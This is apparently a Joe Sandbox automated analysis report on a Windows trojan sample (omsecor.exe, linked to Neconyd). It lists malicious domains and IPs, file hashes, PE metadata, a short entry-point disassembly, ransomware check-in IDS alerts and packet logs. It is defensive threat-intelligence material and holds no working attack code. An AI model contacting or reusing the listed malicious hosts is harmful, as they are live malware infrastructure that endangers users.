http://lousta.net/594/342.html	omsecor.exe, 0000000F.00000002.2500201090.0000000000640000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000F.00000002.2499073566.0000000000195000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 0000000F.00000002.2500201090.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/910/77.html$#	omsecor.exe, 00000002.00000002.1551324123.000000000055E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/910/77.html0#=	omsecor.exe, 00000002.00000002.1551324123.000000000055E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/56/763.htmlEIY	omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/56/763.html-F	omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/56/763.html%	omsecor.exe, 00000002.00000002.1551324123.00000000005BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/697/241.html~x	omsecor.exe, 0000000B.00000002.2498117710.000000000051A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://lousta.net/352/26.htmle1N	omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
193.166.255.171	lousta.net	Finland	1741	FUNETASFI	true
52.34.198.229	ow5dirasuek.com	United States	16509	AMAZON-02US	true
15.197.204.56	mkkuei4kdsz.com	United States	7430	TANDEMUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569326
Start date and time:	2024-12-05 18:03:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	cOviNFmw21.exe renamed because original name is a hash value
Original Sample Name:	7a492eaf1df94ad3ffea031e184f81099ed752dce08e77aba9ed657ead97dc3f.exe
Detection:	MAL
Classification:	mal100.bank.troj.evad.winEXE@7/3@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 23 Number of non-executed functions: 69
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: cOviNFmw21.exe

Simulations

Behavior and APIs

Time	Type	Description
12:04:09	API Interceptor	12x Sleep call for process: omsecor.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.166.255.171	nNX5KYQRhg.exe	Get hash	malicious	Neconyd	Browse	lousta.net/691/461.html
	bd0wJGTae5.exe	Get hash	malicious	Neconyd	Browse	lousta.net/562/252.html
	HUo09bfA3g.exe	Get hash	malicious	Neconyd	Browse	lousta.net/989/145.html
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	www4.cedesunjerinkas.com/chr/wtb/lt.exe
	Update-KB4890-x86.exe	Get hash	malicious	Unknown	Browse	www4.cedesunjerinkas.com/chr/wtb/lt.exe
	document.log.scr.exe	Get hash	malicious	Unknown	Browse	www4.cedesunjerinkas.com/chr/wtb/lt.exe
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.synetik.net/
	cnzWgjUhS2.exe	Get hash	malicious	Neconyd	Browse	lousta.net/161/343.html
	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	lousta.net/372/625.html
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	lousta.net/766/881.html
52.34.198.229	8dPlV2lT8o.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	7ObLFE2iMK.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	UMwpXhA46R.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	1fWgBXPgiT.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	arxtPs1STE.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	Z8eHwAvqAh.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	WlCVLbzNph.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	Bpfz752pYZ.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	uavINoSIQh.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php
	7DAKMhINGk.exe	Get hash	malicious	Simda Stealer	Browse	lygyvuj.com/login.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ow5dirasuek.com	nNX5KYQRhg.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	bd0wJGTae5.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	HUo09bfA3g.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	cnzWgjUhS2.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	djvu452.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
	gdvfd35.exe	Get hash	malicious	Neconyd	Browse	52.34.198.229
mkkuei4kdsz.com	nNX5KYQRhg.exe	Get hash	malicious	Neconyd	Browse	15.197.204.56
	bd0wJGTae5.exe	Get hash	malicious	Neconyd	Browse	15.197.204.56
	HUo09bfA3g.exe	Get hash	malicious	Neconyd	Browse	15.197.204.56
	cnzWgjUhS2.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	djvu452.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
	gdvfd35.exe	Get hash	malicious	Neconyd	Browse	64.225.91.73
lousta.net	nNX5KYQRhg.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	bd0wJGTae5.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	HUo09bfA3g.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	cnzWgjUhS2.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	Z0rY97IU6r.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	2VJZxIY76V.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	qIIGdGOTWO.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	O0prB0zCWi.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	djvu452.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171
	v48ge.exe	Get hash	malicious	Neconyd	Browse	193.166.255.171

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FUNETASFI	armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	130.234.121.110
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	86.50.103.12
	ppc.elf	Get hash	malicious	Mirai	Browse	153.1.142.240
	loligang.mpsl-20241128-1536.elf	Get hash	malicious	Mirai	Browse	192.98.111.96
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	153.1.142.236
	arm7.elf	Get hash	malicious	Unknown	Browse	128.215.188.75
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	153.1.77.176
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	128.214.247.115
	x86.elf	Get hash	malicious	Unknown	Browse	86.50.90.19
	qkbfi86.elf	Get hash	malicious	Mirai	Browse	193.167.161.244
AMAZON-02US	https://ln5.sync.com/dl/3c61e3b30#gum48d7j-5vgyh9gy-tcjv9rp4-ffxvqp5f	Get hash	malicious	Unknown	Browse	15.222.106.233
	https://tippfloorcovering-my.sharepoint.com/:f:/g/personal/inderjeet_tippfloor_com/EpEIzIGDzrlMs2z8rWgki5MBO5-d64iEaOqqeF3ulFqTiw?e=T39wgl	Get hash	malicious	Unknown	Browse	108.158.75.11
	http://kitces.emlnk1.com	Get hash	malicious	Unknown	Browse	13.227.9.168
	https://vacilandoblog.wordpress.com/2015/04/22/a-tribute-to-my-mother-in-law-rest-in-peace-april-22-2015/	Get hash	malicious	Unknown	Browse	13.250.84.149
	https://sendgb.com/Aw8gObHpGVR?utm_medium=dZJEAfc2MGnvjBD	Get hash	malicious	HTMLPhisher	Browse	63.32.181.175
	mpsl.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	https://sendgb.com/dxukcl49bIj?utm_medium=mvC3BJ1YMhqe8zn	Get hash	malicious	HTMLPhisher	Browse	52.48.36.35
	mips.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	https://accountsgoogle.me/cytech_developmentoperations-9d2f3a8e-7107-4b29-bc58-905af4e7e1c2/462/?id=16068&key=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im5hb3JyQHd0ZWEuY29tIiwiZXhwIjoxNzMxOTk2NzIzfQ.MoKjLaA6U4Hn3-TNwpA9VoBbllSNTwKl2--0wdNbn04/	Get hash	malicious	Unknown	Browse	52.92.35.218
	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse	3.74.173.78
TANDEMUS	Doc Copy-PTD- P2139 INV- P2238.eml	Get hash	malicious	Unknown	Browse	15.197.213.252
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse	15.197.193.217
	AudioplaybackVM--00-32AoTranscript.html	Get hash	malicious	Unknown	Browse	15.197.142.173
	http://frame.wtf	Get hash	malicious	Unknown	Browse	15.197.204.56
	V-Mail.msg	Get hash	malicious	Unknown	Browse	15.197.142.173
	https://protect.checkpoint.com/v2/r01/___https:/vlp6cm34.r.us-east-1.awstrack.me/Q5dmyyux:e7Ke7Kjrfnq.ynintwjuqD.htr7Kh7KjOBJBJLTmXFRFSIYBSOlvWZ1QLgoUfHylhY/JnF_riAUpCWczNA0yO_jaB~oG6AYM23pBoyDNMJ-PJR-NmPFsN~VgZA/PF0HUyICotYzOGFnKvZNBMhC~KfYclayEc_La~ccZq7wY-S_IKBLwx/KWAAv8MVfzRwNM6LCN8Jigf~80C6gkuabRjmLM--7qPAcOAlUFFI__5pCS9Bd6d565556c8b~/hi595-9hb~3gh-a~bg-9bgb-ci5/-b9jf76k5b9g~-555555do29l0Y3hHjFJM3POpxyJsMjDY~5=957___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOmNkMzFiOWRiNjRlNzYwZWExOWZkZjZlZWU4YmI5NjkyOjc6NjQxYjozOTM5M2Y5MjlmZWNkMGUzMGYzMjUxMGFiZDQ0YjU2Mzg5ODdlNDNlNTAyN2VlYjBmMjQxZjc3Mjg5OGNiMWQxOmg6VDpU%3E	Get hash	malicious	Unknown	Browse	15.197.142.173
	http://ar-oracle.com	Get hash	malicious	Unknown	Browse	15.197.148.33
	https://happythnkxgiving.appforconstruction.com/KgeM3	Get hash	malicious	Unknown	Browse	15.197.240.20
	http://idiomas.astalaweb.com/otros/Portugu%C3%A9s/Comunicacion-verbos-en-portugues.asp	Get hash	malicious	Unknown	Browse	15.197.179.7
	http://svchorst.com	Get hash	malicious	Unknown	Browse	15.197.130.221

Process:	C:\Users\user\Desktop\cOviNFmw21.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.700261069108173
Encrypted:	false
SSDEEP:	768:gMEIvFGvZEr8LFK0ic46N47eSdYAHwmZwSp6JXXlaa5uA:gbIvYvZEyFKF6N4yS+AQmZcl/5
MD5:	9CB842FFDA5CC91A433FD8C8655C0678
SHA1:	9A94A3A65ADE88A164E0D7ED451D26B7AF41F6FB
SHA-256:	99C4637BFD77D17EC3A9D8A7D95C65C8045720A083F6741776AA8147ACF89C99
SHA-512:	D24054996135B838E73C795A5FBDC1054D985E56E7C9743501D8F46AF071292C98AEF444733BBD07F9B08613FD92B3459453B0D648B0C037D94347F7D9075409
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>...m...m...m.m.m...m.m.m...m^..m...m^..m...m...m.m.m.m...m.m.m...mRich...m................PE..L...*.P............................F.............@.........................................................................\|...........................................................................@............................................text............................... ..`.rdata..D!......."..................@..@.data...,q..........................@...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\merocz.xc6

Download File

Process:	C:\Windows\SysWOW64\omsecor.exe
File Type:	data
Category:	dropped
Size (bytes):	100
Entropy (8bit):	1.8777353867706772
Encrypted:	false
SSDEEP:	3:gtqyumdZp8zFmLV:gwDmL+zFmx
MD5:	7BEA8C5EE2FE04D87297BECD6315EA16
SHA1:	7FF580C4573D8DFABBCD7E5F01B20F64BE6FC40D
SHA-256:	91A102D381A67E229350136926A23C0A4F25245DC3CB1C199C08D16845201782
SHA-512:	7B795789B138A8FE45C6CF6368A105292DA520F6483BA446CBE03F5C011AFFE15326885DEBAF604AB6F59BD293A23876D9083B82577B9EA6DA97200900D58AC2
Malicious:	false
Reputation:	low
Preview:	-x.x.x.x.x.x6x.x.xxxIxKxKxOxOx@xAxOxKxNx@xKxLxJxOx@xNxHxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

C:\Windows\SysWOW64\omsecor.exe

Download File

Process:	C:\Users\user\AppData\Roaming\omsecor.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.700257409382838
Encrypted:	false
SSDEEP:	768:TMEIvFGvZEr8LFK0ic46N47eSdYAHwmZwSp6JXXlaa5uA:TbIvYvZEyFKF6N4yS+AQmZcl/5
MD5:	647527DE20AF8BB173C26019E8811EED
SHA1:	94665B1D056473F1F209127995ACDE6AD83B7916
SHA-256:	552EDA5BFCFCAFD98BB4DF40AD07D19E9FEC270B31DF8888DAF865FE91B99127
SHA-512:	8B44ED709643DF262C700C549F225E4E1A745302BF29DBB3C9E252ADE696E5CE910A46C59D7B8131BAC76D7168826BF1969C3D9A880182BC3E4FE0A756477762
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>...m...m...m.m.m...m.m.m...m^..m...m^..m...m...m.m.m.m...m.m.m...mRich...m................PE..L.....P............................F.............@.........................................................................\|...........................................................................@............................................text............................... ..`.rdata..D!......."..................@..@.data...,q..........................@...........................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.700177279604877
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	cOviNFmw21.exe
File size:	65'536 bytes
MD5:	73e5f0f01bf8368b8b82432b027610e5
SHA1:	ecf068b47a2747e0ef0286c6f9d03f2f8aacfaa7
SHA256:	7a492eaf1df94ad3ffea031e184f81099ed752dce08e77aba9ed657ead97dc3f
SHA512:	46d0172face375c9f10315a571080a1d6af155e4b7209eafb8caf5b90e9761219afeffa54eff935b5d915b009bfbfefe65bd4ee0c7f8207c21291d74f0726791
SSDEEP:	768:NMEIvFGvZEr8LFK0ic46N47eSdYAHwmZwSp6JXXlaa5uA:NbIvYvZEyFKF6N4yS+AQmZcl/5
TLSH:	CB538D9472F9803AE2B20D745D7E988189BEBD7826F0C5C6D3115C8B6DB46C2D53B3A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>...m...m...m.m.m...m.m.m...m^..m...m^..m...m...m...m.m.m...m.m.m...mRich...m................PE..L......P...................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40b346
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x50B1DFF8 [Sun Nov 25 09:08:08 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	08b67a9663d3a8c9505f3b2561bbdd1c

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
mov eax, 00001800h
call 00007FBE948D94C2h
push ebx
push esi
push edi
mov edi, dword ptr [0040E0B0h]
mov esi, 00000400h
push esi
lea eax, dword ptr [ebp-00000800h]
push eax
xor ebx, ebx
push ebx
call edi
push 0040F4FCh
lea eax, dword ptr [ebp-00000800h]
call 00007FBE948D137Ah
test eax, eax
pop ecx
je 00007FBE948D72BFh
lea eax, dword ptr [ebp-00001800h]
push eax
call 00007FBE948D6AF6h
test eax, eax
pop ecx
jne 00007FBE948D72AEh
push esi
lea eax, dword ptr [ebp-00000800h]
push eax
push ebx
call edi
push 00000001h
lea eax, dword ptr [ebp-00000800h]
push eax
push 0040F414h
push 0040F1D8h
push 80000001h
call 00007FBE948D28A6h
add esp, 14h
test eax, eax
push 00000004h
je 00007FBE948D7267h
push ebx
push 00000003h
jmp 00007FBE948D726Bh
call dword ptr [0040E064h]
push eax
push 00000006h
call 00007FBE948D6613h
add esp, 0Ch
call 00007FBE948D7153h
call 00007FBE948D697Dh
test eax, eax
jne 00007FBE948D7254h
call 00007FBE948D69F3h
test eax, eax
je 00007FBE948D72C3h
push 00002710h
call dword ptr [0040E070h]
push 00000004h
push ebx
push 00000009h
call 00007FBE948D65E4h
add esp, 0Ch
push esi
lea eax, dword ptr [ebp+00000000h]

Rich Headers

Programming Language:

[ASM] VS2005 build 50727
[ C ] VS2005 build 50727
[LNK] VS2005 build 50727

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xf77c	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xf6a8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe000	0x1b4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xcc18	0xce00	714a894e8b5f787903d790e888652926	False	0.3713971480582524	data	4.766581687246585	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xe000	0x2144	0x2200	80dd2fa89c5c981edf446c3b17f9e467	False	0.4460018382352941	data	4.452292898356236	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x11000	0x1712c	0x200	9159e4683d74ea27f29c3b096294f663	False	0.466796875	data	3.7016590486098133	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
WININET.dll	HttpSendRequestW, InternetConnectW, HttpOpenRequestW, InternetSetPerSiteCookieDecisionW, InternetOpenUrlW, InternetAttemptConnect, InternetOpenW, InternetReadFile, InternetClearAllPerSiteCookieDecisions, InternetCloseHandle, InternetQueryDataAvailable, InternetSetOptionW
SHLWAPI.dll	StrStrIW, PathMatchSpecW, PathCombineW, wvnsprintfW, StrStrIA, PathRemoveFileSpecW
KERNEL32.dll	TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, IsDebuggerPresent, GetVersionExA, HeapReAlloc, RtlUnwind, WideCharToMultiByte, MultiByteToWideChar, HeapCreate, CopyFileW, CreateThread, WaitForMultipleObjects, GetTickCount, DeleteFileW, CreateProcessW, SetUnhandledExceptionFilter, ExitProcess, GetLastError, LoadLibraryW, GetProcAddress, Sleep, VirtualProtect, GetPrivateProfileIntW, ExpandEnvironmentStringsW, GetPrivateProfileStringW, FindFirstFileW, SetFilePointer, SetEndOfFile, GetVersionExW, HeapAlloc, SetWaitableTimer, SystemTimeToFileTime, CreateWaitableTimerW, FindNextFileW, HeapFree, ReadFile, GetModuleFileNameW, GetFileTime, WaitForSingleObject, GetTimeZoneInformation, CreateFileW, CloseHandle, GetFileSizeEx, VirtualFree, GetProcessHeap, GetCurrentDirectoryW, VirtualAlloc, VirtualQuery, GetSystemTime, GetFileSize, FindClose, WriteFile, GetLocalTime, GetModuleHandleW, GetCommandLineW
USER32.dll	GetWindowLongW, DispatchMessageW, GetForegroundWindow, CharLowerW, CreateWindowExW, FindWindowW, PeekMessageW, SetForegroundWindow, GetSystemMetrics, MessageBoxW, SetWindowPos, SetWindowLongW, SetParent
ADVAPI32.dll	RegOpenKeyExW, RegEnumKeyExW, RegQueryValueExW, RegSetValueExW, RegCreateKeyExW, RegCloseKey
SHELL32.dll	SHGetFolderPathW
ole32.dll	CoCreateInstance, OleInitialize, CoInitialize
OLEAUT32.dll	SysFreeString, VariantInit, SysAllocString, VariantClear

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-05T18:04:08.431834+0100	2016998	ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host)	1	192.168.2.7	49699	193.166.255.171	80	TCP
2024-12-05T18:04:10.619663+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49699	193.166.255.171	80	TCP
2024-12-05T18:04:32.754783+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49700	193.166.255.171	80	TCP
2024-12-05T18:04:34.471615+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49742	15.197.204.56	80	TCP
2024-12-05T18:04:36.659210+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49748	52.34.198.229	80	TCP
2024-12-05T18:04:36.659257+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	52.34.198.229	80	192.168.2.7	49748	TCP
2024-12-05T18:04:36.659257+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	52.34.198.229	80	192.168.2.7	49748	TCP
2024-12-05T18:04:59.095440+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49754	193.166.255.171	80	TCP
2024-12-05T18:05:21.253614+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49803	193.166.255.171	80	TCP
2024-12-05T18:05:22.615655+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49851	15.197.204.56	80	TCP
2024-12-05T18:05:24.218147+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49857	52.34.198.229	80	TCP
2024-12-05T18:05:46.346450+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49862	193.166.255.171	80	TCP
2024-12-05T18:06:08.472191+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49913	193.166.255.171	80	TCP
2024-12-05T18:06:09.821016+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49965	15.197.204.56	80	TCP
2024-12-05T18:06:11.428062+0100	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.7	49969	52.34.198.229	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 18:04:08.431833982 CET	49699	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:08.551768064 CET	80	49699	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:08.551852942 CET	49699	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:08.552088976 CET	49699	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:08.915066957 CET	49699	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:09.274391890 CET	49699	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:09.395318985 CET	80	49699	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:09.432813883 CET	80	49699	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:09.435251951 CET	80	49699	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:10.619582891 CET	80	49699	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:10.619663000 CET	49699	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:10.620363951 CET	49699	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:10.729116917 CET	49700	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:10.740194082 CET	80	49699	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:10.849241972 CET	80	49700	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:10.849334955 CET	49700	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:10.849632978 CET	49700	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:10.975996971 CET	80	49700	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:32.753890991 CET	80	49700	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:32.754782915 CET	49700	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:32.754906893 CET	49700	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:32.875406981 CET	80	49700	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:33.247921944 CET	49742	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:04:33.367659092 CET	80	49742	15.197.204.56	192.168.2.7
Dec 5, 2024 18:04:33.367744923 CET	49742	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:04:33.367984056 CET	49742	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:04:33.487716913 CET	80	49742	15.197.204.56	192.168.2.7
Dec 5, 2024 18:04:34.471554995 CET	80	49742	15.197.204.56	192.168.2.7
Dec 5, 2024 18:04:34.471615076 CET	49742	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:04:35.173968077 CET	49748	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:04:35.294101000 CET	80	49748	52.34.198.229	192.168.2.7
Dec 5, 2024 18:04:35.294208050 CET	49748	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:04:35.294480085 CET	49748	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:04:35.414170027 CET	80	49748	52.34.198.229	192.168.2.7
Dec 5, 2024 18:04:36.659149885 CET	80	49748	52.34.198.229	192.168.2.7
Dec 5, 2024 18:04:36.659209967 CET	49748	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:04:36.659256935 CET	80	49748	52.34.198.229	192.168.2.7
Dec 5, 2024 18:04:36.659306049 CET	49748	80	192.168.2.7	52.34.198.229
